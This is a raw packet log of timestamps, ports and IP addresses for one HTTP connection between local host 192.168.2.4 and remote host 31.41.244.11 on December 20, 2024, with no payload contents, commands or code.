Dec 20, 2024 09:12:14.766958952 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.767015934 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.767837048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.767888069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.767925024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.768810987 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.768825054 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.768855095 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.768915892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.768959999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.769785881 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.769853115 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.769890070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.769933939 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.770762920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.770807028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.770878077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.770920038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.771770000 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.771809101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.771862030 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.771903992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.772747993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.772835016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.772875071 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.773729086 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.773895025 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.773936987 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.774723053 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.774766922 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.774828911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.775707006 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.775751114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.775815010 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.776684046 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.776738882 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.776777029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.777760029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.777806997 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.777834892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.777879953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.778665066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.778801918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.778847933 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.779628992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.779700041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.779745102 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.780689955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.780733109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.780862093 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.781698942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.781745911 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.781750917 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.782105923 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.782613039 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.782679081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.782713890 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.782774925 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.783581018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.783700943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.783742905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.784570932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.784610033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.784728050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.785542011 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.785588026 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.785640001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.786525965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.786573887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.786648035 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.786693096 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.787527084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.787626028 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.787674904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.788470030 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.788574934 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.788626909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.789468050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.789714098 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.789767981 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.790487051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.790532112 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.790585995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.791456938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.791498899 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.791578054 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.792432070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.792479038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.792546034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.792589903 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.793411970 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.793529987 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.793576956 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.794383049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.794495106 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.794540882 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.795375109 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.795419931 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.795490026 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.796370029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.796415091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.796479940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.797347069 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.797353983 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.797445059 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.797489882 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.798331976 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.798434019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.798482895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.799307108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.799350977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.799420118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.800308943 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.800364971 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.800417900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.800962925 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.801284075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.801453114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.801498890 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.802263975 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.802380085 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.802427053 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.803256035 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.803299904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.803364038 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.804230928 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.804271936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.804342985 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.805213928 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.805216074 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.805254936 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.805306911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.806216955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.806260109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.806269884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.807224035 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.807259083 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.807332993 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.807368994 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.808156013 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.810446978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.948964119 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.949018955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.949099064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.949337006 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.949450970 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.949506044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.950330019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.950373888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.950397968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.951335907 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.951379061 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.951414108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.952250957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.952296972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.952394009 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.952879906 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.953228951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.953345060 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.953392982 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.954262018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.954345942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.954391956 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.955249071 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.955295086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.955415964 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.956229925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.956274986 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.956320047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.957155943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.957181931 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.957273006 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.957317114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.958152056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.958257914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.958304882 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.959141016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.959187984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.959253073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.960139990 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.960150957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.960186958 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.960211039 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.960380077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.961111069 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.961226940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.961276054 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.962125063 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.962172031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.962265968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.962302923 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.963118076 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.963170052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.963208914 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.963254929 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.964070082 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.964179039 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.964221954 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.965051889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.965164900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.965213060 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.966032982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.966080904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.966125965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.966170073 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.967029095 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.967135906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.967153072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.967202902 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.968003988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.968063116 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.968116045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.968983889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.969037056 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.969080925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.969125032 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.969974041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.970074892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.970098972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.970124006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.970952988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.971029997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.971084118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.971951962 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.972060919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.972106934 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.972919941 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.972965956 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.973010063 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.973184109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.973922968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.973968983 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.974069118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.974112988 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.974885941 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.974936008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.974991083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.975035906 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.975960016 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.975986004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.976033926 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.976871014 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.976924896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.977092028 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.977138996 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.977844000 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.977926970 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.977956057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.978010893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.978837013 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.978883982 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.978959084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.979002953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.979808092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.979868889 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.979970932 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.980012894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.980792046 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.980860949 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.980902910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.980951071 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.981787920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.981833935 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.981878042 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.981920958 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.982779980 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.982886076 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.982923031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.983103991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.983781099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.983913898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.983926058 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.983964920 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.984716892 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.984766006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.984827995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.984862089 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.985713005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.985763073 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.985810995 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.985929012 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.986701965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.986749887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.986808062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.986855030 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.987807989 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.987833977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.987852097 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.987873077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.988661051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.988754988 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.988776922 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.988823891 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.989681959 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.989737988 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.989782095 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.989828110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.990634918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.990740061 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.990777969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.990823984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.991631031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.991674900 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.991719961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.991764069 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.992611885 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.992661953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.992707968 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.992835999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.993628025 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.993679047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.993711948 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.993788004 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.994591951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.994646072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.994752884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.994806051 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.995563984 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.995610952 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.995663881 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.995702982 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.996576071 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.996620893 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.996684074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.996727943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.997536898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.997581959 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.997663021 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.997703075 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.998548985 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.998601913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.998625040 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.998671055 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.999505043 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.999576092 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:14.999614000 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:14.999739885 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.000478029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:15.000525951 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:15.141442060 CET	80	49759	31.41.244.11	192.168.2.4
